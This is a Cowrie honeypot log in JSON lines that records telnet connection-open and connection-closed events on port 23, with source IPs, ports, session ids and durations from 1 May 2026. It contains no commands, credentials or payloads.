{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":32994,"dst_ip":"159.203.135.109","dst_port":23,"session":"bde24e57ee43","protocol":"telnet","message":"New connection: 147.135.136.77:32994 (159.203.135.109:23) [session: bde24e57ee43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.493683Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41072,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf3d76acef4b","protocol":"telnet","message":"New connection: 81.30.157.18:41072 (159.203.135.109:23) [session: bf3d76acef4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.532036Z"}
{"eventid":"cowrie.session.closed","duration":30.529517650604248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.561412Z","src_ip":"168.119.91.149","session":"035e6b16a974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41078,"dst_ip":"159.203.135.109","dst_port":23,"session":"1abeea7e1c0b","protocol":"telnet","message":"New connection: 81.30.157.18:41078 (159.203.135.109:23) [session: 1abeea7e1c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.574015Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33010,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbafbb1e5df0","protocol":"telnet","message":"New connection: 147.135.136.77:33010 (159.203.135.109:23) [session: fbafbb1e5df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.670624Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":40070,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d0eebd3db4a","protocol":"telnet","message":"New connection: 46.101.32.143:40070 (159.203.135.109:23) [session: 0d0eebd3db4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.715124Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58588,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc945e2f83e6","protocol":"telnet","message":"New connection: 149.102.133.101:58588 (159.203.135.109:23) [session: bc945e2f83e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.874776Z"}
{"eventid":"cowrie.session.closed","duration":30.797812461853027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.951853Z","src_ip":"168.119.91.149","session":"a06eb61e9303","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33032,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9195a39b599","protocol":"telnet","message":"New connection: 147.135.136.77:33032 (159.203.135.109:23) [session: f9195a39b599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.053311Z"}
{"eventid":"cowrie.session.closed","duration":31.10288095474243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.073132Z","src_ip":"37.187.24.227","session":"3349fb0a522d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":51070,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8cc2f87cd86","protocol":"telnet","message":"New connection: 85.208.100.77:51070 (159.203.135.109:23) [session: b8cc2f87cd86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.107042Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59866,"dst_ip":"159.203.135.109","dst_port":23,"session":"51ce7b868ec5","protocol":"telnet","message":"New connection: 168.119.91.149:59866 (159.203.135.109:23) [session: 51ce7b868ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.137634Z"}
{"eventid":"cowrie.session.closed","duration":31.051772356033325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.160498Z","src_ip":"149.102.133.101","session":"ba3adfb5791a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.360204935073853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.178532Z","src_ip":"81.30.157.18","session":"9916b865dc70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58670,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c06d5d3d836","protocol":"telnet","message":"New connection: 149.102.133.101:58670 (159.203.135.109:23) [session: 5c06d5d3d836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.507042Z"}
{"eventid":"cowrie.session.closed","duration":30.394948482513428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.540714Z","src_ip":"168.119.91.149","session":"3ba4ef6cf88a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00182342529297,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.601841Z","src_ip":"138.0.214.217","session":"95488e366757","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.653582334518433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.845846Z","src_ip":"147.135.136.77","session":"9c5160def115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":52658,"dst_ip":"159.203.135.109","dst_port":23,"session":"176bce61ba2d","protocol":"telnet","message":"New connection: 85.208.100.77:52658 (159.203.135.109:23) [session: 176bce61ba2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:42.853455Z"}
{"eventid":"cowrie.session.closed","duration":30.943256855010986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.037546Z","src_ip":"149.102.133.101","session":"54b21d17b527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92632246017456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.045798Z","src_ip":"81.30.157.18","session":"8bebe2841479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59942,"dst_ip":"159.203.135.109","dst_port":23,"session":"d62c45569579","protocol":"telnet","message":"New connection: 168.119.91.149:59942 (159.203.135.109:23) [session: d62c45569579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.060335Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58694,"dst_ip":"159.203.135.109","dst_port":23,"session":"804d19180154","protocol":"telnet","message":"New connection: 149.102.133.101:58694 (159.203.135.109:23) [session: 804d19180154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.068566Z"}
{"eventid":"cowrie.session.closed","duration":30.792847871780396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.144037Z","src_ip":"149.102.133.101","session":"d82861c164ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075340270996094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.149164Z","src_ip":"81.30.157.18","session":"420a3f8f65c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156635761260986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.160508Z","src_ip":"37.187.24.227","session":"1771f50c9f0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.382699728012085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.202538Z","src_ip":"46.101.32.143","session":"7923c625ce80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41166,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cd19f83eaf4","protocol":"telnet","message":"New connection: 81.30.157.18:41166 (159.203.135.109:23) [session: 6cd19f83eaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.341502Z"}
{"eventid":"cowrie.session.closed","duration":30.239181995391846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.500262Z","src_ip":"168.119.91.149","session":"75375c775dcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59970,"dst_ip":"159.203.135.109","dst_port":23,"session":"51992482db5c","protocol":"telnet","message":"New connection: 168.119.91.149:59970 (159.203.135.109:23) [session: 51992482db5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.537681Z"}
{"eventid":"cowrie.session.closed","duration":31.17841076850891,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.556663Z","src_ip":"168.119.91.149","session":"8d1ff6070d6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33066,"dst_ip":"159.203.135.109","dst_port":23,"session":"c741d298c05b","protocol":"telnet","message":"New connection: 147.135.136.77:33066 (159.203.135.109:23) [session: c741d298c05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.599533Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.0.214.217","src_port":37730,"dst_ip":"10.17.0.5","dst_port":23,"session":"3edcbb24f32d","protocol":"telnet","message":"New connection: 138.0.214.217:37730 (10.17.0.5:23) [session: 3edcbb24f32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.666020Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59986,"dst_ip":"159.203.135.109","dst_port":23,"session":"70d52ba0f17d","protocol":"telnet","message":"New connection: 168.119.91.149:59986 (159.203.135.109:23) [session: 70d52ba0f17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.726852Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":58696,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff3e6a4855a1","protocol":"telnet","message":"New connection: 37.187.24.227:58696 (159.203.135.109:23) [session: ff3e6a4855a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:43.852677Z"}
{"eventid":"cowrie.session.closed","duration":30.96548104286194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:44.102793Z","src_ip":"147.135.136.77","session":"0e306b339628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":55022,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba5cc754d07","protocol":"telnet","message":"New connection: 51.79.21.139:55022 (159.203.135.109:23) [session: 4ba5cc754d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:44.126319Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":42618,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bf6846780ee","protocol":"telnet","message":"New connection: 46.101.32.143:42618 (159.203.135.109:23) [session: 9bf6846780ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:44.248223Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59532,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b75f46127a6","protocol":"telnet","message":"New connection: 37.187.24.227:59532 (159.203.135.109:23) [session: 9b75f46127a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:44.262927Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.236.163.65","src_port":33554,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f111dcaeda7","protocol":"telnet","message":"New connection: 37.236.163.65:33554 (159.203.135.109:23) [session: 9f111dcaeda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:44.315009Z"}
{"eventid":"cowrie.session.closed","duration":30.77043652534485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:44.321349Z","src_ip":"46.101.32.143","session":"24aaa21249ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42552161216736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:44.469563Z","src_ip":"168.119.91.149","session":"7ff60daf7ec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29204201698303,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:44.475065Z","src_ip":"147.135.136.77","session":"0a5f5c1f221b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":60536,"dst_ip":"159.203.135.109","dst_port":23,"session":"037b86bfccff","protocol":"telnet","message":"New connection: 37.187.24.227:60536 (159.203.135.109:23) [session: 037b86bfccff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:44.616135Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59990,"dst_ip":"159.203.135.109","dst_port":23,"session":"716553fe3b43","protocol":"telnet","message":"New connection: 168.119.91.149:59990 (159.203.135.109:23) [session: 716553fe3b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:44.713401Z"}
{"eventid":"cowrie.session.closed","duration":31.59814953804016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.008894Z","src_ip":"51.79.21.139","session":"ccff6fa08905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714889526367188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.046863Z","src_ip":"81.30.157.18","session":"970ef9b0ce59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02719235420227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.053911Z","src_ip":"81.30.157.18","session":"a269be715f74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":48330,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfbea29fbacc","protocol":"telnet","message":"New connection: 81.30.157.18:48330 (159.203.135.109:23) [session: dfbea29fbacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.070428Z"}
{"eventid":"cowrie.session.closed","duration":31.012436389923096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.105497Z","src_ip":"81.30.157.18","session":"185e9d17ef19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965110301971436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.116986Z","src_ip":"81.30.157.18","session":"d8e07f518413","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":33598,"dst_ip":"159.203.135.109","dst_port":23,"session":"26bb3bdccbf1","protocol":"telnet","message":"New connection: 37.187.24.227:33598 (159.203.135.109:23) [session: 26bb3bdccbf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.182182Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":43768,"dst_ip":"159.203.135.109","dst_port":23,"session":"93bee53b6f86","protocol":"telnet","message":"New connection: 46.101.32.143:43768 (159.203.135.109:23) [session: 93bee53b6f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.210994Z"}
{"eventid":"cowrie.session.closed","duration":30.435373067855835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.497326Z","src_ip":"168.119.91.149","session":"206a06f46ad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":44056,"dst_ip":"159.203.135.109","dst_port":23,"session":"42cc91924ec8","protocol":"telnet","message":"New connection: 46.101.32.143:44056 (159.203.135.109:23) [session: 42cc91924ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.501343Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":44152,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d67075d3411","protocol":"telnet","message":"New connection: 46.101.32.143:44152 (159.203.135.109:23) [session: 5d67075d3411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.642935Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":34288,"dst_ip":"159.203.135.109","dst_port":23,"session":"0212c7c3fe7e","protocol":"telnet","message":"New connection: 149.102.133.101:34288 (159.203.135.109:23) [session: 0212c7c3fe7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.654514Z"}
{"eventid":"cowrie.session.closed","duration":31.134603261947632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.734752Z","src_ip":"168.119.91.149","session":"66cabfb7b4bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":35388,"dst_ip":"159.203.135.109","dst_port":23,"session":"16e141fcce39","protocol":"telnet","message":"New connection: 37.187.24.227:35388 (159.203.135.109:23) [session: 16e141fcce39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.791962Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59994,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2d184f674ee","protocol":"telnet","message":"New connection: 168.119.91.149:59994 (159.203.135.109:23) [session: a2d184f674ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.873785Z"}
{"eventid":"cowrie.session.closed","duration":30.853467226028442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:45.879957Z","src_ip":"168.119.91.149","session":"8d912fc2559b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31668782234192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.049407Z","src_ip":"46.101.32.143","session":"40968d936bb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87805676460266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.054942Z","src_ip":"46.101.32.143","session":"3dc58d2975cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777082681655884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.094593Z","src_ip":"147.135.136.77","session":"63fe8f988c6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664769172668457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.146240Z","src_ip":"85.208.100.77","session":"30148c0771c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":36264,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ade63feab46","protocol":"telnet","message":"New connection: 37.187.24.227:36264 (159.203.135.109:23) [session: 0ade63feab46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.155836Z"}
{"eventid":"cowrie.session.closed","duration":31.01843786239624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.170343Z","src_ip":"147.135.136.77","session":"871f17d0eb6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":59384,"dst_ip":"159.203.135.109","dst_port":23,"session":"866239189eb9","protocol":"telnet","message":"New connection: 85.208.100.77:59384 (159.203.135.109:23) [session: 866239189eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.261655Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59998,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f393b1eed6","protocol":"telnet","message":"New connection: 168.119.91.149:59998 (159.203.135.109:23) [session: e4f393b1eed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.461302Z"}
{"eventid":"cowrie.session.closed","duration":30.982603311538696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.485923Z","src_ip":"168.119.91.149","session":"9afb839dd0e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.433480501174927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.517724Z","src_ip":"168.119.91.149","session":"96b9df0809c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03454852104187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.570799Z","src_ip":"168.119.91.149","session":"efda69c907f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.423107624053955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:46.673098Z","src_ip":"81.30.157.18","session":"604632d06b53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88705611228943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.065130Z","src_ip":"147.135.136.77","session":"fe11f9b6dd6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882490158081055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.075279Z","src_ip":"37.187.24.227","session":"6ac0b27931ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":60064,"dst_ip":"159.203.135.109","dst_port":23,"session":"82c8bff31f3b","protocol":"telnet","message":"New connection: 168.119.91.149:60064 (159.203.135.109:23) [session: 82c8bff31f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.083841Z"}
{"eventid":"cowrie.session.closed","duration":30.941033363342285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.093670Z","src_ip":"46.101.32.143","session":"c9ef2bf4efe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872770071029663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.098966Z","src_ip":"81.30.157.18","session":"d877bfc2554f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":49978,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe2bdcbfb52e","protocol":"telnet","message":"New connection: 209.126.84.114:49978 (159.203.135.109:23) [session: fe2bdcbfb52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.140321Z"}
{"eventid":"cowrie.session.closed","duration":30.65264368057251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.160556Z","src_ip":"147.135.136.77","session":"e57e5b081282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":60068,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c457eae1adc","protocol":"telnet","message":"New connection: 168.119.91.149:60068 (159.203.135.109:23) [session: 1c457eae1adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.179001Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":39388,"dst_ip":"159.203.135.109","dst_port":23,"session":"704b4fcf6d39","protocol":"telnet","message":"New connection: 37.187.24.227:39388 (159.203.135.109:23) [session: 704b4fcf6d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:47.289240Z"}
